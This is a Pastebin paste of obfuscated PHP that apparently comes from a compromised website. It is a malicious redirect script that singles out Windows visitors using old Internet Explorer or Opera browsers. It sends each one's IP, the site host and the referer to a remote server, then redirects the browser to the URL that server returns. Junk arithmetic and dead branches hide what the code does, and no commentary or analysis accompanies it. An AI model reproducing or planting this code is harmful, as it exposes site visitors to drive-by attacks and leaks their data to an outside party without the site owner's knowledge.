Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. define('ADMIN_REDIR_URL','http://dbc.pinestry.com/rtk/get_url.php');
  2. $_0=isset($_SERVER['HTTP_USER_AGENT'])?strtolower($_SERVER['HTTP_USER_AGENT']):'';
  3. if(strpos($_0,'windows')===false){exit('1z');
  4. }$_1=array('opera/9.80','msie 10','msie 9','msie 8','msie 7',);
  5. $_2=false;
  6. foreach($_1 as $_3){if(strpos($_0,$_3)!==false){$_2=true;
  7. break;
  8. }}if(!$_2){exit('2z');
  9. }$_4=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';
  10. if(empty($_4)){exit('3z');
  11. }$_SERVER['HTTP_HOST']=strtolower($_SERVER['HTTP_HOST']);
  12. $_SERVER['HTTP_HOST']=str_replace('www.','',$_SERVER['HTTP_HOST']);
  13. $_5='d=' .urlencode($_SERVER['HTTP_HOST']) .':' .urlencode($_SERVER['REMOTE_ADDR'] .':' .$_4);
  14. ;
  15. $_6='e';
  16. $_7=l__0($_5);
  17. (round(0+456)-round(0+228+228)+round(0+552+552+552)-round(0+828+828))?strval($_5,$_3,$_8):mt_rand(round(0+456),round(0+665.8+665.8+665.8+665.8+665.8));
  18. if($_7=='BAD'){exit();
  19. }header('Location: ' .$_7);
  20. function l__0($_9){if(ini_get('allow_url_fopen')== round(0+0.2+0.2+0.2+0.2+0.2)){return l__1($_9);
  21. }else{$_10=parse_url(ADMIN_REDIR_URL);
  22. if($_11=@fsockopen($_10['host'],round(0+40+40),$_12,$_13,round(0+3.75+3.75+3.75+3.75))){return l__2($_11,$_10['host'],$_10['path'],$_9);
  23. }elseif(@function_exists('curl_init')){return l__3($_9);
  24. }}}function l__1($_5){$_14=stream_context_create(array('http'=> array('method'=> 'POST','header'=> 'Content-Type: application/x-www-form-urlencoded' .'
  25. ','content'=> $_5,),));
  26. (round(0+580.66666666667+580.66666666667+580.66666666667)-round(0+348.4+348.4+348.4+348.4+348.4)+round(0+673.33333333333+673.33333333333+673.33333333333)-round(0+404+404+404+404+404))?array_diff_uassoc($_4,$_7,$_2):mt_rand(round(0+435.5+435.5+435.5+435.5),round(0+4680));
  27. return file_get_contents(ADMIN_REDIR_URL,false,$_14);
  28. if((round(0+80.5+80.5)+round(0+2458))>round(0+40.25+40.25+40.25+40.25)|| strtr($_15,$_16));
  29. else{curl_close($_1);
  30. }}function l__2($_11,$_17,$_15,$_5){fputs($_11,'POST ' .$_15 .'  HTTP/1.0
  31. ' ."Host: $_17
  32. " .'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3
  33. ' .'Accept: */*
  34. ' .'Accept-Language: en-us,en;q=0.5
  35. ' .'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  36. ' .'Content-Length: ' .strlen($_5) .'
  37. ' ."Content-Type: application/x-www-form-urlencoded
  38.  
  39. $_5");
  40. $_8='';
  41. while(round(0+3843)-round(0+960.75+960.75+960.75+960.75))substr_count($_14);
  42. while($_16=fread($_11,round(0+819.2+819.2+819.2+819.2+819.2))){$_8 .= $_16;
  43. if(round(0+2115.3333333333+2115.3333333333+2115.3333333333)<mt_rand(round(0+365+365+365+365+365),round(0+1129+1129+1129+1129)))strnatcmp($_11);
  44. }fclose($_11);
  45. $_18=strpos($_8,'
  46.  
  47. ');
  48. $_8=substr($_8,$_18+round(0+1+1+1+1));
  49. return $_8;
  50. while(round(0+2376+2376)-round(0+950.4+950.4+950.4+950.4+950.4))sha1($_1,$_13,$_8);
  51. }function l__3($_5){$_19=curl_init(ADMIN_REDIR_URL);
  52. curl_setopt($_19,42,FALSE);
  53. $_20='vsqw';
  54. curl_setopt($_19,19913,TRUE);
  55. curl_setopt($_19,13,round(0+3.75+3.75+3.75+3.75));
  56. if((round(0+333.2+333.2+333.2+333.2+333.2)+round(0+875.8+875.8+875.8+875.8+875.8))>round(0+833+833)|| sha1($_21,$_17,$_1,$_13,$_14));
  57. else{mssql_result($_19);
  58. }curl_setopt($_19,10015,$_5);
  59. (round(0+302.25+302.25+302.25+302.25)-round(0+1209)+round(0+896.5+896.5+896.5+896.5)-round(0+1793+1793))?strtotime($_4,$_10):mt_rand(round(0+1209),round(0+4765));
  60. $_21=curl_exec($_19);
  61. curl_close($_19);
  62. $_22='jqxe';
  63. return $_21;
  64. };